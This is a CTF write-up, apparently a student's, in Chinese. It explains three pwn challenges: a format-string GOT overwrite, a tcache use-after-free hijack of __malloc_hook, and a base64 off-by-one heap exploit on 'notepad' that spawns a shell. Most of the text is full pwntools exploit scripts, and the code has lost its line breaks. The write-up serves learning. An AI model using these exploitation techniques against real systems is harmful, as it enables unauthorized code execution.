搞到题目啦啊哈哈哈哈哈哈哈哈PWN.zip
感谢 @CataLpa 师傅给的题目
repeater
32 位的程序,存在很明显的格式化字符串漏洞

数一下偏移,第四个

有个 cat flag 的后门 0x8048616,但是有一个 number 限制,nubmer 要等于 8216 才行,可以直接让他执行 0x8048638 那一块,那就覆写 puts 函数的 got 表把

from pwn import *context.log_level = 'DEBUG'p = process("./repeater")elf=ELF('./repeater')puts_got=elf.got['puts']p.recvuntil("your msg:")payload = fmtstr_payload(4,{puts_got:0x8048638})p.sendline(payload)p.interactive()

bb_tcache
程序的逻辑挺简单的,free 之后没有置为 NULL
另外还提供了 system 的地址,可以直接拿来算 libc 的基址了

from pwn import *context.log_level = 'DEBUG'p=process('bb_tcache')elf=ELF('bb_tcache')libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')def alloc():p.sendlineafter("4. quit!\n","1")def release():p.sendlineafter("4. quit!\n","2")def fill(content):p.sendlineafter("4. quit!\n","3")p.sendafter("something.\n",content)p.recvuntil("need this: ")sys_addr = int(p.recvuntil('\n', drop=True).strip(), 16)libc_base = sys_addr - libc.symbols["system"]malloc_hook = libc_base + libc.symbols["__malloc_hook"]one_gadget = libc_base + 0x10a45calloc()release()fill(p64(malloc_hook))alloc()alloc()fill(p64(one_gadget))alloc()p.interactive()
首先 malloc 一个,free 之后再去编辑,编辑成 malloc_hook(tcache 不会对 size 进行检查,所以可以直接申请到 malloc_hook 这里)
然后 malloc 两次就申请到了 malloc_hook 那里了,再去编辑就可以把 malloc_hook 改为 one_gadget 的地址,这样去 malloc 的时候就可以拿到 shell

啊啊啊,好简单的说
notepad
官方 writeup 说是:cve-2018-6789我先去复现一下这个 cve 再回过头来做做这道题😁
我又回来了,感觉真实的漏洞还是太复杂,还是先做 pwn 题吧
mark 一个 exp
https://leeeddin.github.io/cve-2018-6789-off-by-one/
#!/usr/bin/env python# -*- coding=utf8 -*-from pwn import *p = process('./notepad')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')context.log_level = 'info'def addnote(name,password,size,content):p.sendlineafter('choice> ','1')p.sendafter('name> ',name)p.sendlineafter('no)> ','1')p.sendlineafter('word> ',password)p.sendlineafter('size> ',str(size))p.sendlineafter('content> ',content)def shownote(name,passwd):p.sendlineafter('choice> ','2')p.sendafter('name> ',name)p.sendlineafter('word> ',passwd)def editnote(name,passwd,size,content):p.sendlineafter('choice> ','3')p.sendafter('name> ',name)p.sendlineafter('word> ',passwd)p.sendlineafter('no)> ','0')p.sendlineafter('size> ',str(size))p.sendlineafter('content> ',content)def delnote(name,passwd):p.sendlineafter('choice> ','4')p.sendafter('name> ',name)p.sendlineafter('password> ',passwd)passwd = "yichen".encode("base64") + "\x00"addnote('1'*0x10,passwd,0x1c0,'1')addnote('2'*0x10,passwd,0x20,'2')addnote('3'*0x10,passwd,0x20,'3')delnote('1'*0x10,passwd)addnote('1'*0x10,passwd,0x30,'aaaaaaa')editnote('2'*0x10, passwd, 0x88-1, "b"*0x10)editnote('3'*0x10, passwd, 0xf8-1, "c"*0x10)delnote("2"*0x10, passwd)evilpd = ("A"*0x88+'1').encode("base64").replace("\n","")[:-1]+"\x00"addnote("2"*0x10, evilpd, 0x20-1, "padding")atoi_got = 0x602090pwd2addr = 0x4019E6 #name exist\x00payload = ""payload += "A"*0xf0payload += p64(0x100)payload += p64(0x31)payload += '2'*0x10payload += p64(pwd2addr)payload += p64(atoi_got)payload += p64(0x000000100001000)editnote("3"*0x10,passwd,0x128-1,payload)newpd = "name exist\x00".encode("base64")shownote("2"*0x10,newpd)atoiaddr = u64(p.recv(6).ljust(8,'\x00'))libcbase = atoiaddr - libc.symbols['atoi']sysaddr = libcbase + libc.symbols['system']payload = p64(sysaddr)editnote("2"*0x10,newpd,0x10,payload)p.sendlineafter('choice> ','/bin/sh\x00')p.interactive()

程序自己会申请 0x30 大小的 chunk(malloc(0x28) 但是要对齐所以 0x30)用来直接存放 name、base64 解码后的 password 的指针以及 content 的指针,同时申请的这个会被放到 bss 段的 ptr 数组上面,后面就把这个用户申请的 chunk 成为 note_header

说一下漏洞点:
在涉及 password 的时候会 malloc 相应的 size,通过对 base64 编码的了解,我们已经知道了 base64 编码后应该都是 4 的倍数,它将会被解码为 3 的倍数的长度,然后下面的代码中给了 3n + 1 的空间,是没有问题的

但是如果构造一个 4n+3 的 base64 编码去让他解码用到的就是 3n+2 就 off by one 了
例如:123 经过 base64 编码之后是:MTIz,在末尾加上两个字符:’MTI’,去解码的时候会解码为 12312
本来是 41,加上两个之后就是 41+3 然后解码出来是 3*1+2

同时会在 *(_DWORD *)(note_header + 36) = 1 标注是否设置了 password

delete 的时候分别 free 掉 password 与 content 的指针,但是没有置为 null,仅仅是把 bss 段存放的 note_header 给删掉了

一开始这样去 malloc
passwd = "yichen".encode("base64") + "\x00"addnote('1'*0x10,passwd,0x1c0,'1')addnote('2'*0x10,passwd,0x20,'2')addnote('3'*0x10,passwd,0x20,'3')
布局是这样的

delnote('1'*0x10,passwd)#free(0x20)、free(0x1d0)、free(0x30)addnote('1'*0x10,passwd,0x30,'aaaaaaa')#malloc(0x30)、malloc(0x20)、malloc(0x40)editnote('2'*0x10, passwd, 0x88-1, "b"*0x10)#free(0x30)、malloc(0x90)editnote('3'*0x10, passwd, 0xf8-1, "c"*0x10)#free(0x30)、malloc(0x100)
然后删掉第 1 个(他是用 name 来选择的,我们就用 name 的值来交流啦),然后 malloc 0x30 去分割那个比较大的 chunk,再编辑一下之前的 content,此时布局如下

原本 1 的 content 大小 0x1d0 被分为 0x40+0x90+0x100,空出来了 2 的 content(0x603270) 与 3 的 content(0x6032f0) 两个 0x30 大小的
注意到在最后多出来一个 0x20 大小的 free chunk 是 delete 的时候检查 password 留下的
这时候去做如下编辑,就用到了 base64 解码的时候出现的问题了

这里 ‘A’*0x88 + ‘1’ 编码之后删掉后面那个 ‘=’ 正好符合 4n+3 可以 off by one 把后面改为 0x31
delnote("2"*0x10, passwd)#检查password应该会直接用最后面的0x20的free chunk#free(0x20)、free(0x90)、free(0x30)evilpd = ("A"*0x88+'1').encode("base64").replace("\n","")[:-1]+"\x00"4addnote("2"*0x10, evilpd, 0x20-1, "padding")#再去create的时候用上面free的0x30存放程序自己申请的那个note_header#password会放到0x90那个地方,而content会放到前面剩下的一个0x30那里
password 的 off by one 会修改下面那个 0x100 大小的为 0x130

atoi_got = 0x602090pwd2addr = 0x4019E6 #name existpayload = ""payload += "A"*0xf0payload += p64(0x100)payload += p64(0x31)payload += '2'*0x10payload += p64(pwd2addr)payload += p64(atoi_got)payload += p64(0x000000100001000)editnote("3"*0x10,passwd,0x128-1,payload)newpd = "name exist\x00".encode("base64")shownote("2"*0x10,newpd)atoiaddr = u64(io.recv(6).ljust(8,'\x00'))libcbase = atoiaddr - libc.symbols['atoi']sysaddr = libcbase + libc.symbols['system']
然后 edit 的时候就可以直接覆盖掉下面那块 0x30大小的第二个的 note_header,有个问题是需要 password,可以把 password 指针改为存在的一个字符串的地址,比如:0x4019E6,再去 show 的时候可以拿到 atoi 的 got 地址,算出 system 的地址


然后 edit2 把 atoi 的地址改为 system 的地址,然后发一个 ‘/bin/sh’ 就可以啦
payload = p64(sysaddr)editnote("2"*0x10,newpd,0x10,payload)p.sendlineafter('choice> ','/bin/sh\x00')p.interactive()
参考的师傅的 exp 没有发送 ‘/bin/sh’ 也可以!?不知道什么原因
